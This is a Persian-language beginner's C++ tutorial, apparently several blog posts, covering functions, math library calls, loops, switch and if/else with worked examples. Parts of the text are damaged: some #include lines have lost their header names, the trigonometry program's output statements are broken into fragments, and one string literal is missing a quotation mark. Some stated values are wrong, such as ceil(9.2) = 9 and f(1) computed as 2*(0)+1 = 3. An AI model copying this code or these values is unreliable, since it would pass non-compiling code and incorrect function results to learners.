int maximum (int x,int y, int z)
{
int max=x;
if (y>max)
max=y;
if (z>max)
max=z;
return max;
}
int main ()
{
int num1,num2,num3;
cout << "Enter three numbers: ";
cin >> num1 >> num2 >> num3;
cout << "Max is :"
<< maximum(num1,num2,num3)<<endl;
cout << "Max of 5,20,1 is "
<< maximum(5,20,1)<<endl;
return 0;
}
Enter three numbers: -5 20 150
Max is :150
Max of 5,20,1 is 20
تابع maximum دارای سه آرگومان بود. هنگامی که اعداد num1 و num2 و num3 در برنامه از ورودی دريافت می شوند با فراخوانی تابع maximun(num1,num2,num3) اعداد آرگومانهای num1 و num2 و num3 به ترتيب در متغير های x و y و z قرار می گيرند و مقادير توسط تابع مقايسه می شوند و نهايتاً بزرگترين عدد در متغير max قرار می گيرد که توسط دستور return max; به عنوان خروجی تابع برگردانده می شود. سپس دستور cout خروجی تابع را بر روی صفحه نمايش چاپ می کند.
نظرات ()مفهوم تابع يکی از مهمترين مفاهيم در رياضيات و علوم کامپيوتر و نيز
ساير علوم می باشد. تابع را می توان به عنوان دستگاهی در نظر گرفت که وروديهای
مجازش را با تغييراتی که وظيفه آن دستگاه می باشد به خروجی متناظر با ورودی تبديل
می کند. معادله خط y = 2x + 1 را در نظر بگيريد، اگر به جای
f(x)، y را قرار دهيم معادله خط فوق به صورت f(x) = 2x + 1 در
خواهد آمد. در اينجا دستگاه ما تابع f خواهد بود که هر ورودی (هر عدد حقيقی)
را در 2 ضرب می کند و سپس يک واحد به آن اضافه می کند.
به عنوان مثال :
f(0) = 2 * (0) + 1 = 1
f(1) = 2 * (0) + 1 = 3
f(-1) = 2 * (-1) + 1 = -1
همانطور که در مثالهای فوق ديديد تابع f به هر ورودی تنها يک خروجی را نظير می کند.
مثال : تابعی بنويسيد که شعاع يک دايره به عنوان ورودی باشد و خروجی ، مساحت دايره باشد.
می دانيم که فرمول مساحت دايره s = 3.14*r2 می باشد پس تابع را به صورت زير تعريف می کنيم:
s(r) = 3.14*r2
بعضی از توابع ممکن است بر اساس شرط خاصی خروجی متفاوتی داشته باشند، اينگونه توابع معمولاً به صورت چند ضابطه ای تعريف می شوند. به عنوان مثال تابع قدر مطلق به صورت زير می باشد:
| |
x , x>= 0 اگر | |
| abs(x) = |x| = | | |
| |
-x , x<0 اگر |
به عنوان نمونه :
abs(1) = 1
abs(-1) = 1
abs(0) = 0
توابع همواره يک مقدار را به عنوان ورودی دريافت نمی کنند، بلکه ممکن است بيش از يک مقدار را به عنوان ورودی دريافت کنند. به عنوان مثال تابع زير را در نظر بگيريد :
f(x,y) = x + y
تابع فوق هر دو عددی که به عنوان ورودی به آن داده می شوند را با هم جمع کرده و به عنوان خروجی بر می گرداند. به عنوان مثال :
f(1,2) = 1+2 = 3
f(2,3) = 2+3 = 5
f(1,-1) = 1+(-1) = 0
به توابعی مانند تابع فوق توابع دو متغيره گفته می شود و اگر تعداد متغيرها سه تا باشد، تابع سه متغيره و ... و چند متغيره گفته می شود. به متغيرهای ورودی تابع آرگومان نيز گفته می شود.
زبان ++C برای انجام محاسبات رياضياتی ، توابع کاربردی فراوانی را در اختيار ما قرار داده است ، به عنوان مثال فرض کنيد که می خواهيد جذر يک عدد را بدست آوريد، تابعی که زبان ++C برای اينکار در اختيار ما قرار داده است، تابع sqrt می باشد. به عنوان مثال دستور زير :
cout << sqrt (900);
عدد 30 را چاپ خواهد کرد. در اينجا عدد 900 آرگومان تابع sqrt می باشد. برای استفاده از توابع رياضی در برنامه ملزم به استفاده از دستور:
#include
در ابتدای برنامه می باشيم، چون توابع رياضی در فايل کتابخانه ای math.h قرار دارند. آرگومانهای توابع می توانند شامل اعداد ثابت، متغيرها و يا ترکيبی از آنها باشند؛ به عنوان مثال به برنامه زير توجه کنيد :
#include
#include
int main ( )
{
int x = 30;
double y = 5;
cout << sqrt (x+2*y+9)<
return 0;
}
خروجی برنامه فوق عدد 7 خواهد بود چون تابع sqrt جذر عبارت 30+2*5+9=49 را محاسبه خواهد کرد.
تعدادی از توابع رياضی مورد استفاده در جدول زير توضيح داده شده اند.
| fabs(x) | اين تابع، قدر مطلق x را حساب می کند. |
| fabs(1.2) = 1.2 fabs(-1.2) = 1.2 fabs(0) = 0 | |
| sqrt(x) | اين تابع ، جذر x را محاسبه می کند. |
| sqrt(9) = 3 sqrt(2) = 1.414214 | |
| pow(x,y) | اين تابع ، x به توان y را محاسبه می کند. |
| pow(2, 5) = 32 pow(2, 0.5) = 1.414214 | |
| exp(x) | اين تابع ، مقدار عبارت e را محاسبه می کند.e يک ثابت رياضی با مقدار تقريبی 2.71828 می باشد. |
| exp(2) = 7.38906
| |
| log(x) | اين تابع ، لگاريتم طبيعی عدد x را حساب می کند . لگاريتم طبيعی، لگاريتم بر مبنای e می باشد. اين تابع بر عکس تابع exp عمل می کند. |
| log(2.71828) = 1 log(7.389050) = 2 | |
| log10(x) | اين تابع ، لگاريتم بر مبنای 10 عدد x را محاسبه می کند.مثلاً (log10(100 يعنی 10 به توان چه عددی برسد تا حاصل برابر 100 شود که جواب 2 خواهد بود پس log10(100)=2 |
| log10(10) = 1 log10(1000) = 3 | |
| fmod(x,y) | اين تابع ، باقيمانده تقسيم دو عدد اعشاری را حساب می کند. x/y |
| fmod(13.657,2.333) = 1.992
| |
| ceil(x) | اين تابع ، کوچکترين عدد صحيح بزرگتر مساوی x را به عنوان خروجی بر می گرداند. |
| ceil(9) = 9 ceil(9.2) = 9 ceil(-9.8) = -9 | |
| floor(x) | اين تابع ، همانند تابع جزء صحيح رياضيات عمل می کند.يعنی بزرگترين عدد صحيح کوچکتر مساوی x را بر می گرداند. |
| floor(7) = 7 floor(7.3) = 7 floor(-7.2) = -8 | |
| sin(x) | اين تابع ، sin عدد x را حساب می کند.(x بايد بر اساس راديان باشد) |
| sin(0) = 0 sin(3.14/2) = 1 | |
| cos(x) | اين تابع ، cos عدد x را محاسبه می کند.(x بايد بر اساس راديان باشد) |
| cos(0) = 1 cos(3.14/2) = 0 | |
| tan(x) | اين تابع ، tan زاويه x را محاسبه می کند.(x بايد بر اساس راديان باشد) |
| tan(0) = 0 tan(3.14/4) = 1 | |
| asin(x) | اين تابع ، arcsin عدد x را محاسبه می کند. توجه داشته باشيد که عدد x بين 1- تا 1 باشد. ضمناً خروجی تابع زاويه ای بر حسب راديان می باشد. |
| asin(0) = 0 asin(1) = 1.570796 | |
| acos(x) | اين تابع ، arccos عدد x را محاسبه می کند. توجه داشته باشيد که عدد x بين 1- تا 1 باشد. ضمناً خروجی تابع زاويه ای بر حسب راديان می باشد. |
| acos(1) = 0 acos(0) = 1.570796 | |
| atan(x) | اين تابع ، arctan عدد x را محاسبه می کند. خروجی تابع زاويه ای بر حسب راديان می باشد. |
| atan(1) = 0.785398 atan(0) = 0 atan(21584.891) = 1.570795 |
نکته : در جدول فوق گفتيم که زاويه ها بر حسب راديان می باشند. راديان يکی از واحدهای اندازه گيری زاويه می باشد و با يک تناسب ساده می توان هر زاويه ای که بر حسب درجه می باشد را بر حسب راديان محاسبه کرد.
R D
_____ = _____
3.14 180o
در تناسب فوق به جای D اندازه زاويه مورد نظر را بنويسيد و سپس با حل تناسب، R حاوی اندازه درجه بر حسب راديان می باشد و بر عکس. به مثال های زير توجه کنيد :
R 45o
_____ = _____ ====> R=0.785
3.14 180o
1.57 D
_____ = _____ ====> D=90o
3.14 180o
مثال : برنامه ای بنويسيد که sin و cos وtan زاويه های زوج 1 تا 90 درجه را در خروجی به صورت جدول بندی شده تا سه رقم اعشار چاپ نمايد.
#include
#include
int main( )
{
float r;
for (int d=2;d<=90;d+=2)
{
r = 3.1415 * d / 180;
cout<<"sin("<<<")="
<
cout<<"\tcos("<<<")="
<
cout<<"\ttan("<<<")="
<
cout<
}
return 0;
}
خروجی برنامه به صورت زير می باشد:
sin(2)=0.035 cos(2)=0.999 tan(2)=0.035
sin(4)=0.07 cos(4)=0.998 tan(4)=0.07
sin(6)=0.105 cos(6)=0.995 tan(6)=0.105
sin(8)=0.139 cos(8)=0.99 tan(8)=0.141
sin(10)=0.174 cos(10)=0.985 tan(10)=0.176
sin(12)=0.208 cos(12)=0.978 tan(12)=0.213
sin(14)=0.242 cos(14)=0.97 tan(14)=0.249
. . .
. . .
. . .
sin(86)=0.998 cos(86)=0.07 tan(86)=14.292
sin(88)=0.999 cos(88)=0.035 tan(88)=28.599
sin(90)=1 cos(90)=0 tan(90)=21584.891
در برنامه فوق توسط فرمول r = 3.1415 * d / 180 زاويه بر حسب درجه را به راديان تبديل کرديم و توسط فرمول floor(sin(r)*1000 + 0.5)/1000 خروجی را تا سه رقم اعشار محاسبه کرديم. همانطور که می بينيد ورودی تابع، علاوه بر متغير و عدد ثابت خروجی تابع ديگری می باشد. به عنوان مثال sqrt(pow(2,2)) برابر با 2 خواهد بود و ترکيب توابع به اين شکل کاملاً مجاز می باشد و بر حسب نياز می توانيد از اين شيوه استفاده کنيد.
نظرات ()ساختار تکرار for نيز مانند دو ساختار قبلی يک حلقه تکرار می سازد. از ساختار تکرار for معمولاً هنگامی که دفعات تکرار حلقه براساس يک شمارنده می باشد استفاده می شود. ساختار تکرار for به صورت زير می باشد:
for ( افزايش يا کاهش ; شرط حلقه ; تعريف متغير )
مقدار شمارنده شمارنده و تعيين
مقدار اوليه
{
مجموعه دستورات
}
ساختار تکرار for را با ساختار تکرار while نيز می توان پياده سازی کرد به عنوان مثال دو برنامه زير اعداد 1 تا 5 را بر روی صفحه نمايش چاپ می کنند:
#include <iostream>
int main()
{
int counter = 1;
while ( counter <= 5 ) {
cout << counter << endl;
++counter;
}
return 0;
}
برنامه فوق با حلقه while نوشته شده بود. در برنامه زير معادل حلقه while فوق را با حلقه for پياده سازی می کنيم:
#include <iostream>
int main()
{
for ( int counter = 1; counter <= 5; counter++ )
cout << counter << endl;
return 0;
}
در برنامه فوق هنگامی که دستور for اجرا می شود متغير کنترلی counter تعريف می گردد و عدد 1 در آن قرار می گيرد. سپس شرط حلقه مورد بررسی قرار می گيرد (counter<=5) چون مقدار counter ، عدد 1 می باشد پس شرط درست است و دستور حلقه، يعنی دستور cout اجرا می گردد و اولين عدد يعنی 1 نمايش داده می شود. پس از آن دستور ++counter اجرا می گردد و مقدار متغير counter يک واحد اضافه می شود. سپس مجدداً شرط حلقه بررسی و در صورت برقرار بودن شرط دستور cout اجرا می گردد. اين روال تا وقتی که شرط برقرار باشد ادامه می يابد و به محض برقرار نبودن شرط يعنی هنگامی که counter حاوی عدد 6 شود خاتمه می يابد و برنامه به پايان می رسد.
1 2 3 4 5

در برنامه قبلی اگر حلقه for را به صورت زير بازنويسی کنيم:
for(int counter=10; counter>=1; counter=counter-2)
خروجی برنامه اعداد زوج 10 تا 1 به صورت معکوس می باشد، يعنی :
10 8 6 4 2
توجه داشته باشيد که در حلقه فوق به جای استفاده از دستور counter=counter-1 می توانستيم از دستور counter -= 2 استفاده کنيم.
مثال : برنامه ای بنويسيد که مجموع اعداد زوج 1 تا 100 را محاسبه کند.
#include <iostream.h>
int main ( )
{ int sum = 0;
for (int num = 2; num <= 100; num += 2)
sum += num;
cout << "2 + 4 + 6 + ... + 100 =" <<sum<<endl;
return 0;
}
2 + 4 + 6 + ... + 100 =2550
توجه داشته باشيد که حلقه for در برنامه فوق را با کمک عملگر کاما ( , ) می توانيم به صورت زير نيز بنويسيم:
for (int num = 2;
num <= 100;
sum += num, num +=2);
ضمناً شکستن حلقه به چند خط نيز مشکلی ايجاد نمی کند. البته دو مورد اخير توصيه نمی شوند، چون از خوانايی برنامه می کاهند.
مثال : برنامه ای بنويسيد که عددی را از ورودی دريافت کرده و 2 به توان آن عدد را محاسبه و در خروجی چاپ نمايد.
#include <iostream.h>
int main( )
{
unsigned long int x=1;
int power;
cout << "Enter power:";
cin >>power;
for (int counter=1;counter<=power;counter++)
x*=2;
cout << "2 ^ " << power << " = " << x <<endl;
return 0;
}
Enter power:25
2 ^ 25 = 33554432
در مثال های فوق، دستورات حلقه for را داخل { } قرار نداديم چون حلقه for تنها شامل يک دستور بود، توجه داشته باشيد که اگر بيش از يک دستور در حلقه به کار رود ملزم به استفاده از { } می باشيم.
مثال : برنامه ای بنويسيد که جدول ضرب 5X5 را ايجاد کند.
#include <iostream.h>
int main( )
{
for (int x=1;x<=5;x++)
{
for (int y=1;y<=5;y++)
cout <<x*y<<"\t";
cout<<endl;
}
return 0;
}
خروجی برنامه به صورت زير خواهد بود:
1 2 3 4 5
2 4 6 8 10
3 6 9 12 15
4 8 12 16 20
5 10 15 20 25
در برنامه فوق حلقه شامل متغير x ، دارای دو دستور for و cout بود، به همين علت از { } استفاده شد. اما حلقه شامل متغير y تنها دارای يک دستور cout بود. اگر دقت کرده باشيد دستور ;"cout<<x*y<<"\t دارای علامت t\ بود. به کار بردن t\ باعث جدول بندی و مرتب شدن خروجی می شود. در حقيقت مکان نمای صفحه نمايش را در محل جدول بندی قرار می دهد. ضمناً در مثال فوق يک ساختار for در دل ساختار for ديگری استفاده شد به اين شيوه استفاده حلقه های تودرتو گفته می شود که در برنامه نويسی ها به کرات از آنها استفاده می شود. در ضمن توجه داشته باشيد که اگر از دستور ;cout <<endl استفاده نشود، خروجی به صورت نا مرتب زير خواهد بود:
1 2 3 4 5 2 4 6 8 10
3 6 9 12 15 4 8 12 16 20
5 10 15 20 25
نکته : در حلقه های تکرار ممکن است شرط حلقه را به اشتباه بنويسيم يا به عنوان مثال شمارنده حلقه را افزايش ندهيم در چنين حالاتی ممکن است پس از اجرای برنامه، برنامه به اتمام نرسد و حلقه همچنان تکرار شود. در صورت بروز چنين مشکلی با فشردن کليد Ctrl همراه با Break (Ctrl+Break) اجرای برنامه به صورت ناگهانی قطع می شود و به محيط ويرايشگر ++C باز می گرديد و می توانيد کد اشتباه را درست کنيد. سپس برنامه را مجدداً اجرا کنيد.
نظرات ()ساختار تکرار do/while مشابه ساختار تکرار while می باشد. در ساختار تکرار while شرط حلقه در ابتدا بررسی می شود ولی در ساختار تکرار do/while شرط در انتهای حلقه مورد بررسی قرار می گيرد، بدين ترتيب در ساختار تکرار do/while دستورات حلقه حداقل يکبار اجرا خواهند شد. ساختار تکرار do/while به صورت زير می باشد:
do {
مجموعه دستورات
}while ( شرط مورد نظر );
به عنوان مثال به برنامه زير توجه نماييد:
#include <iostream.h>
int main()
{
int counter = 1;
do {
cout << counter << " ";
}while ( ++counter <= 10 );
cout << endl;
return 0;
}
در اين برنامه اعداد 1 تا 10 با فاصله بر روی صفحه نمايش چاپ خواهند شد. دقت کنيد که متغير counter در قسمت شرط حلقه ، يک واحد اضافه می گردد سپس مقدارش با عدد 10 مقايسه می گردد.
1 2 3 4 5 6 7 8 9 10
مثال: برنامه ای بنويسيد که ليست نمرات يک کلاس را دريافت کرده و تعداد قبولی ها و مردودی ها را مشخص کند. ضمنا در ابتدای برنامه تعداد نمرات ليست پرسيده شود.
#include <iostream.h>
int main( )
{
float mark;
int howmany,counter=1;
int passes=0,failures=0;
cout << "How many marks : ";
cin >> howmany;
do {
cout << "Enter mark "<<counter<<" : ";
cin>>mark;
if (mark>=10)
++passes;
else
++failures;
}while (++counter <= howmany);
cout<<"Passed : "<<passes<<endl;
cout<<"Failed : "<<failures<<endl;
return 0;
}
خروجی برنامه به صورت زير می باشد :
How many marks : 10
Enter mark 1 : 18
Enter mark 2 : 15
Enter mark 3 : 9
Enter mark 4 : 17.5
Enter mark 5 : 9.75
Enter mark 6 : 8
Enter mark 7 : 11
Enter mark 8 : 13
Enter mark 9 : 5
Enter mark 10 : 13
Passed : 6
Failed : 4
نظرات ()ساختار تکرار (حلقه تکرار) به برنامه نويس اين امکان را می دهد که برنامه ، قسمتی از دستورات را تا هنگامی که شرط خاصی برقرار است، را تکرار کند. به عنوان مثال :
تا وقتی که مورد ديگری در ليست خريد من هست.
آن را بخر و از ليست خريد حذفش کن.
مورد فوق روال يک خريد را انجام می دهد. شرط مورد نظر " مورد ديگری در ليست خريد من هست" می باشد، که ممکن است درست يا نادرست باشد. اگر شرط برقرار باشد (يعنی مورد ديگری در ليست خريد باشد) عمل "خريد آن و حذفش از ليست" انجام می گيرد. اين عمل تا وقتی که شرط برقرار باشد ادامه می يابد. هنگامی که شرط برقرار نباشد (يعنی تمام موارد ليست خريد حذف شده باشند)، ساختار تکرار به پايان می رسد و اولين دستور بعد از حلقه تکرار، اجرا می گردد. ساختار تکرار while به صورت زير می باشد.
while (شرط مورد نظر )
{
مجموعه دستورات
}
تا وقتی که شرط داخل پرانتز برقرار باشد مجموعه دستورات اجرا خواهند شد. برای درک بهتر شيوه کاربرد حلقه های تکرار فرض کنيد می خواهيم اولين توانی از عدد 2 که بزرگتر از 1000 می باشد را بيابيم. برنامه به صورت زير خواهد بود.
#include <iostream.h>
int main( )
{
int product = 2;
while (product <= 1000)
product = 2 * product;
cout << "The first power of 2 larger than 1000 is "
<<product <<endl;
return 0;
}
در برنامه فوق ابتدا متغيری به نام product را با مقدار اوليه 2 مقدار دهی کرديم. در
حلقه تکرار while با هر بار اجرای دستور product=2*product مقدار متغير product دو برابر می شود بدين ترتيب با پايان يافتن حلقه
متغير product حاوی عدد 1024 يعنی اولين
توانی از 2 که بزرگتر از 1000 می باشد، خواهد بود.
The first power of 2 larger than 1000 is 1024
نکته : در مثال فوق در حلقه while چون تنها از يک دستور استفاده شده بود از {} استفاده نشد، ولی اگر بيش از يک دستور داشتيم ملزم به استفاده از {} بوديم.
مثال : برنامه ای بنويسيد تا مجموع اعداد يک تا صد را محاسبه کند.
#include <iostream.h>
int main( )
{
int n=1, sum=0;
while (n <= 100)
{
sum += n; // sum = sum + n;
++n; // n = n + 1;
}
cout << "1 + 2 + ... + 100 =" <<sum << endl;
return 0;
}
در مثال فوق حلقه 100 بار اجرا می گردد و هر بار عدد n به متغير sum اضافه می گردد و عدد n نيز يک واحد افزايش می يابد تا در يکصدمين بار اجرای حلقه مقدار متغير n برابر 101 می شود و هنگام بررسی شرط (n <=100) توسط حلقه while شرط نادرست می شود و اولين دستور بعد از حلقه يعنی دستور خروجی cout اجرا می گردد.
1 + 2 + ... + 100 =5050
مثال : برنامه ای بنويسيد که تعداد نامشخصی عدد مثبت را از ورودی دريافت نمايد و ميانگين آنها را محاسبه نمايد. عدد 1- را برای مشخص کردن انتهای ليست اعداد در نظر بگيريد.
#include <iostream.h>
int main( )
{ int num, counter = 0;
float average, sum = 0;
cout << "Enter a number (-1 to end):";
cin >>num;
while (num != -1){
sum += num ; // sum = sum + sum;
++counter;
cout << "Enter a number (-1 to end):";
cin >> num;
}
if (counter != 0){
average = sum / counter;
cout << "The average is " << average << endl;
}
else
cout << "No numbers were entered." << endl;
return 0;
}
خروجی برنامه به صورت زير خواهد بود.
Enter a number (-1 to end):20
Enter a number (-1 to end):50
Enter a number (-1 to end):65
Enter a number (-1 to end):70
Enter a number (-1 to end):90
Enter a number (-1 to end):100
Enter a number (-1 to end):1
Enter a number (-1 to end):6
Enter a number (-1 to end):-1
The average is 50.25
در برنامه مثال قبل عدد 1- به عنوان يک مقدار کنترلی به کار می رود و با وارد کردن اين عدد اجرای برنامه به پايان می رسد و ميانگين اعداد در خروجی به نمايش در می آيد. متغير num اعداد را از ورودی دريافت می کند. متغير counter وظيفه شمارش تعداد اعداد وارد شده را دارا می باشد و متغير sum مجموع حاصلجمع اعداد را در خود قرار می دهد و در نهايت متغير average، ميانگين را در خود قرار می دهد. ساختار کنترلی if به کار رفته در برنامه، جلوی بروز خطای زمان اجرای تقسيم بر صفر را می گيرد ، يعنی اگر در اولين دستور cin به کار رفته عدد 1- وارد شود خروجی برنامه به صورت زير خواهد بود :
Enter a number (-1 to end): -1
No numbers were entered.
نظرات ()در دو مبحث قبلی ساختارهای if و if/else را بررسی کرديم. در برنامه نويسی گاهی به الگوريتمی نياز پيدا می کنيم که در آن متغيری به ازای هر مقدار صحيح ثابتی، باعث اجرای يک دستور خاص شود و به ازای هر مقدار اعمال مختلف انجام پذيرد. برای نيل به اين هدف ++C ساختار چند انتخابی switch را که به صورت زير می باشد در اختيار ما قرار داده است:
switch (عبارتی که بايد مورد بررسی قرار گيرد )
{
case مقدار ثابت 1 :
مجموعه دستورات 1
break;
case مقدار ثابت 2 :
مجموعه دستورات 2
break;
.
.
.
case n مقدار ثابت :
n مجموعه دستورات
break;
default :
مجموعه دستورات حالت پيش فرض
}
ساختار switch به شيوه زير عمل می کند:
switch ابتدا عبارت داخل پرانتز را مورد ارزيابی قرار می هد و سپس آن را با مقدار ثابت 1 مورد مقايسه قرار می دهد. اگر برابر بودند مجموعه دستورات 1 را اجرا خواهد شد، تا هنگامی که برنامه به دستور break برسد، هنگامی که برنامه به دستور break رسيد از ساختار چند انتخابی switch خارج می شود. اگر عبارت داخل پرانتز با مقدار ثابت 1 برابر نبود ساختار switch عبارت داخل پرانتز را با مقدار ثابت 2 مورد مقايسه قرار می دهد، در صورت برابر بودن مجموعه دستورات 2 اجرا می گردد. اين روال همينطور ادامه پيدا می کند. در صورتی که عبارت داخل پرانتز با هيچ يک از مقادير ثابت برابر نباشد، مجموعه دستورات حالت default (پيش فرض) اجرا می گردد. به برنامه زير توجه کنيد:
#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;
switch (x) {
case 1:
cout << "x is 1";
break;
case 2:
cout << "x is 2";
break;
default:
cout << "Unknown value";
}
return 0;
}
برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:
Please enter a number:1
x is 1
Please enter a number:2
x is 2
Please enter a number:5
Unknown value
توجه داشته باشيد که ساختار switch را می توان با ساختار if/else نيز پياده سازی کرد. به عنوان مثال ساختار switch به کار رفته در مثال فوف معادل ساختار if/else زير می باشد:
if (x == 1)
cout << "x is 1";
else
if (x == 2)
cout << "x is 2";
else
cout << Unknown value";
ما الزامی به استفاده از حالت default در ساختار switch نداريم ولی توصيه می شود که حالت پيش فرض را به کار ببريم چون معمولاً امکان دارد که عبارت برابر با هيچ يک از مقادير ثابت نباشد و با به کار بردن حالت پيش فرض می توانيد پيغام مناسبی در اين رابطه به صفحه نمايش بفرستيد.
توجه داشته باشيد اگر دستور break بعد از هر مجموعه از دستورات استفاده نکنيم برنامه از ساختار switch خارج نخواهد شد و مجموعه دستورات بعدی اجرا می گردد تا به اولين دستور break برسد. اين مورد به ما امکان ايجاد حالتهای ترکيبی را می دهد. البته در به کار بردن اين تکنيک دقت لازم را بکنيد.
#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;
switch (x) {
case 1:
case 2:
case 3:
cout << "x is (1 or 2 or 3)";
break;
default:
cout << "x is not (1 or 2 or 3)";
}
return 0;
}
برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:
Please enter a number:1
x is (1 or 2 or 3)
Please enter a number:2
x is (1 or 2 or 3)
Please enter a number:5
x is not (1 or 2 or 3)
نظرات ()گاهی اوقات نياز داريم که در صورت برقرار بودن شرط خاصی يک سری دستورات اجرا و در صورت برقرار نبودن شرط دسته ای ديگر از دستورات اجرا گردند. به عنوان مثال اگر فردا باران بيايد من به کوه نمی روم در غير اين صورت من به کوه خواهم رفت؛ زبان ++C برای پياده سازی چنين ساختاری شيوه زير را در اختيار ما قرار داده است.
if (شرط مورد نظر)
دستور1 ;
else
دستور2 ;
اگر شرط برقرار باشد دستور1 اجرا می گردد و در غير اين صورت دستور2 اجرا می شود. به مثال زير توجه کنيد:
if ( x = = 50 )
cout << "x is 50";
else
cout << "x is not 50";
اگر مقدار متغير قبل از رسيدن به شرط فوق برابر 50 باشد عبارت
"x is 50" برروی صفحه نمايش چاپ می شود در غير اين صورت عبارت "x is not
50" چاپ می شود.

بياد داشته باشيد اگر می خواهيد از بيش از يک دستور استفاده کنيد، حتماً آنها را با { } دسته بندی نماييد. به عنوان مثال:
if ( x > 50 )
{
cout << x;
cout << "is greater than 50";
}
else
{
cout << x;
cout << "is less than 50";
}
اگر متغير x حاوی عدد 100 باشد خروجی به صورت زير می باشد:
100 is greater than 50
و اگر متغير x عدد 10 باشد خروجی به صورت زير است:
10 is less than 50

از ساختارهای if/else های تو در تو می توان برای بررسی حالتهای چندگانه استفاده کرد. برنامه زير در همين رابطه است:
#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;
if ( x > 0 )
cout << x << "is positive.";
else
if ( x < 0 )
cout << x << "is negative.";
else
cout << "The number that you entered is 0.";
return 0;
}
برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:
Please enter a number : 10
10 is positive.
Please enter a number : -5
-5 is negative.
Please enter a number : 0
The number that you entered is 0.

نکته : برای وضوح برنامه پيشنهاد می شود همانند برنامه فوق هنگام استفاده از if يا if/else و يا ديگر ساختارهای کنترلی از تورفتگی های مناسب استفاده کنيد. يعنی به عنوان مثال دستور if را به صورت زير:
if ( x > 0 )
cout << x << "is positive.";
بنويسيم و نه به صورت زير :
if ( x > 0 )
cout << x << "is positive.";
نظرات ()در برنامه نويسی مواردی پيش می آيد که بخواهيم دستور يا دستوراتی، هنگامی که شرط خاصی برقرار است، توسط برنامه به اجرا در آيد. اين مورد در زندگی روزمره نيز ديده می شود؛ به عنوان مثال " اگر فردا باران نيايد، من به کوه خواهم رفت." شرط مورد نظر نيامدن باران است و عملی که قرار است انجام شود رفتن به کوه می باشد. شيوه پياده سازی ساختار انتخاب if به صورت زير می باشد:
( شرط مورد نظر ) if
دستور مورد نظر ;
به مثال زير توجه کنيد:
if (x == 50)
cout << "x is 50";
اگر از دستور فوق در برنامه استفاده کنيم، اگر مقدار متغير x قبل از رسيدن به شرط فوق برابر 50 باشد عبارت "x is 50" بر روی صفحه نمايش ظاهر خواهد شد وگرنه دستور cout << "x is 50" ; ناديده گرفته می شود و برنامه خط بعدی را اجرا می کند.

توجه داشته باشيد که شرط مورد استفاده در دستور if هر عبارت منطقی می تواند باشد. در مبحث عبارات منطقی ، اينگونه عبارات و شيوه کاربرد آنها را به طور کامل بررسی کرديم.
اگر بخواهيم هنگامی که شرط برقرار می شود، بيش از يک دستور اجرا شود، بايد دستورات مورد نظر را با علامت { } دسته بندی کنيم، به مثال زير توجه کنيد:
if ( x==50 )
{
cout << "x is ";
cout << x;
}
قطعه کد فوق هنگامی که مقدار x عدد
50 باشد، عبارت "x is 50" را در صفحه نمايش
چاپ می کند.

ولی در دستورات زير:
if ( x == 50)
cout << "x is ";
cout << x ;
خط آخر برنامه به هر جهت اجرا می شود. به عنوان مثال اگر فرض کنيم
x برابر 50 است
برنامه به درستی عبارت "x is 50" را چاپ می کند،
اما اگر مثلاً x برابر 20 باشد عدد
20 بر روی صفحه نمايش ظاهر خواهد شد. چون عبارت ;cout
<

مورد اخير که توضيح داده شد يکی از مواردی است که بعضی از برنامه نويسان به اشتباه مرتکب آن می شوند. پس در هنگام نوشتن برنامه های خود به دسته بندی دستورات دقت کنيد.
نظرات ()برنامه جمع دو عدد
در مبحث قبلی برنامه ای را نوشتيم که در آن تنها از دستور cout استفاده شده بود و رشته ای را بر روی صفحه نمايش چاپ می کرد. برای اينکه با نحوه کاربرد متغيرها و شيوه مقدار دهی به آنها و نيز دستور cin آشنا شويد، در اينجا برنامه جديدی را می نويسيم که دو عدد را از ورودی دريافت کرده و سپس آنها را جمع نموده و حاصل را در خروجی نمايش می دهد.
// Addition program.
#include <iostream.h>
// function main begins program execution
int main()
{
int integer1; // first number to be input by user
int integer2; // second number to be input by user
int sum; // variable in which sum will be stored
cout << "Enter first integer\n"; // prompt
cin >> integer1; // read an integer
cout << "Enter second integer\n"; // prompt
cin >> integer2; // read an integer
sum = integer1 + integer2; //assignment result to sum
cout << "Sum is " << sum << endl; // print sum
return 0; // indicate that program ended successfully
} // end function main
همانطور که در اين برنامه نيز می بينيد، تعدادی از دستورات برنامه قبلی تکرار شده اند. در اينجا به بررسی و توضيح دستورات جديد می پردازيم:
int integer1; // first number to be input by user
int integer2; // second number to be input by user
int sum; // variable in which sum will be stored
سه دستور فوق وظيفه تخصيص حافظه به سه متغير integer1 و integer2 و sum از نوع عدد صحيح را دارند. انواع داده در مبحث مفاهيم حافظه و انواع داده توضيح داده شده اند. در ضمن به جای استفاده از سه دستور فوق می توانستيم از دستور زير نيز استفاده کنيم:
int integer1, integer2, sum;
نکته :
#include <iostream.h>
int main()
{
cout << "Enter first integer\n";
int integer1;
cin >> integer1;
cout << "Enter second integer\n";
int integer2;
cin >> integer2;
int sum;
sum = integer1 + integer2;
cout << "Sum is " << sum << endl;
return 0;
}
cout << "Enter first integer \n";
دستور فوق رشته Enter first integer را بر روی صفحه نمايش نشان می دهد و به ابتدای سطر جديد می رود.
cin >> integer1;
دستور فوق با وارد کردن هر عدد و فشردن کليد Enter عدد وارد شده را در متغير integer1 قرار می دهد.
cout << "Enter second integer \n";
cin >> integer2;
دو دستور فوق نيز ابتدا عبارت Enter second integer را بر روی صفحه نمايش چاپ کرده و سپس در خط بعد عدد وارد شده از صفحه کليد را پس از فشردن کليد Enter در متغير integer2 قرار می دهد.
sum = integer1 + integer2;
دستور فوق حاصل جمع متغيرهای integer1 و integer2 را محاسبه و نتيجه را توسط عملگر انتساب (=) در متغير sum قرار می دهد.
cout << "Sum is " << sum << endl;
و در نهايت دستور فوق باعث نمايش حاصل جمع بر وی صفحه نمايش می شود.
نظرات ()همانطور که در سازمان کامپيوتر گفته شد کامپيوتر دارای واحدهای ورودی و خروجی می باشد. واحد ورودی که ما در اينجا استفاده می کنيم صفحه کليد می باشد و واحد خروجی مورد استفاده نيز صفحه نمايش خواهد بود.
